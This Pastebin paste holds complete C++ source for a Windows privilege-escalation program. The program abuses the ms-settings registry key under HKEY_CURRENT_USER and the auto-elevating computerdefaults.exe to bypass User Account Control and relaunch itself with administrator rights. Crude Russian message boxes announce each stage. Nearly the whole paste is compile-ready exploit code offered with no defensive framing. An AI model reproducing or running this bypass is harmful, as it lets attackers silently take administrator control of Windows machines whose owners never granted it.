Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /////////////////////////////////////////////////////////////////////////////////
- // definitions.hpp
- #pragma once;
- #include <Windows.h>
- #include <string>
- #include <iostream>
- bool IsUserAdmin();
- void createRegistryKey(const std::string& path, const std::string& valueName, const std::string& value);
- void createRegistryKeyDWORD(const std::string& path, const std::string& valueName, DWORD value);
- void runProcess(const std::string& command);
- std::wstring utf8_to_utf16(const std::string& utf8);
- //////////////////////////////////////////////////////////////////////////////////
- //////////////////////////////////////////////////////////////////////////////
- // regedit.cpp
- #include "definitions.hpp"
- bool IsUserAdmin() {
- BOOL isAdmin = FALSE;
- PSID administratorsGroup = NULL;
- SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;
- if (AllocateAndInitializeSid(&ntAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,
- DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &administratorsGroup)) {
- CheckTokenMembership(NULL, administratorsGroup, &isAdmin);
- FreeSid(administratorsGroup);
- }
- return isAdmin;
- }
- void runProcess(const std::string& command) {
- STARTUPINFOA si;
- PROCESS_INFORMATION pi;
- ZeroMemory(&si, sizeof(si));
- si.cb = sizeof(si);
- ZeroMemory(&pi, sizeof(pi));
- if (CreateProcessA(NULL, const_cast<char*>(command.c_str()), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
- CloseHandle(pi.hProcess);
- CloseHandle(pi.hThread);
- } else {
- std::cerr << "Failed to run process" << std::endl;
- }
- }
- void createRegistryKey(const std::string& path, const std::string& valueName, const std::string& value) {
- HKEY hKey;
- std::wstring subKey = utf8_to_utf16(path);
- std::wstring wValueName = utf8_to_utf16(valueName);
- std::wstring wValue = utf8_to_utf16(value);
- if (RegCreateKeyExW(HKEY_CURRENT_USER, subKey.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
- RegSetValueExW(hKey, wValueName.c_str(), 0, REG_SZ, (const BYTE*)wValue.c_str(), (wValue.size() + 1) * sizeof(wchar_t));
- RegCloseKey(hKey);
- }
- }
- void createRegistryKeyDWORD(const std::string& path, const std::string& valueName, DWORD value) {
- HKEY hKey;
- std::wstring subKey = utf8_to_utf16(path);
- std::wstring wValueName = utf8_to_utf16(valueName);
- if (RegCreateKeyExW(HKEY_CURRENT_USER, subKey.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
- RegSetValueExW(hKey, wValueName.c_str(), 0, REG_DWORD, (const BYTE*)&value, sizeof(value));
- RegCloseKey(hKey);
- }
- }
- std::wstring utf8_to_utf16(const std::string& utf8) {
- if (utf8.empty()) return std::wstring();
- int size_needed = MultiByteToWideChar(CP_UTF8, 0, utf8.c_str(), (int)utf8.size(), NULL, 0);
- std::wstring utf16(size_needed, 0);
- MultiByteToWideChar(CP_UTF8, 0, utf8.c_str(), (int)utf8.size(), &utf16[0], size_needed);
- return utf16;
- }
- /////////////////////////////////////////////////////////////////////
- // main.cpp
- #include "definitions.hpp"
- int main() {
- const std::string REGISTRY_PATH = "Software\\Classes\\ms-settings\\shell\\open\\command";
- const std::string EXECUTE_VALUE_NAME = "";
- const std::string DELEGATE_EXECUTE_VALUE_NAME = "DelegateExecute";
- const DWORD DELEGATE_EXECUTE_VALUE = 0;
- const std::string COMMAND_TO_RUN = "cmd.exe /C computerdefaults.exe";
- if ( IsUserAdmin() ) {
- MessageBoxW(0, L"Ого! Ты теперь админ, хуесос?", L"Примет, Мир!", MB_OK);
- } else { // Прописываемся в реестр
- MessageBoxW(0, L"Здорова, хуесос!", L"Примет, Мир!", MB_OK);
- char execPath[MAX_PATH];
- GetModuleFileNameA(NULL, execPath, MAX_PATH);
- createRegistryKey(REGISTRY_PATH, EXECUTE_VALUE_NAME, execPath);
- createRegistryKeyDWORD(REGISTRY_PATH, DELEGATE_EXECUTE_VALUE_NAME, DELEGATE_EXECUTE_VALUE);
- runProcess(COMMAND_TO_RUN);
- }
- return EXIT_SUCCESS;
- }
- ////////////////////////////////////////////////////////////////////////////////////////////////
Add Comment
Please, Sign In to add comment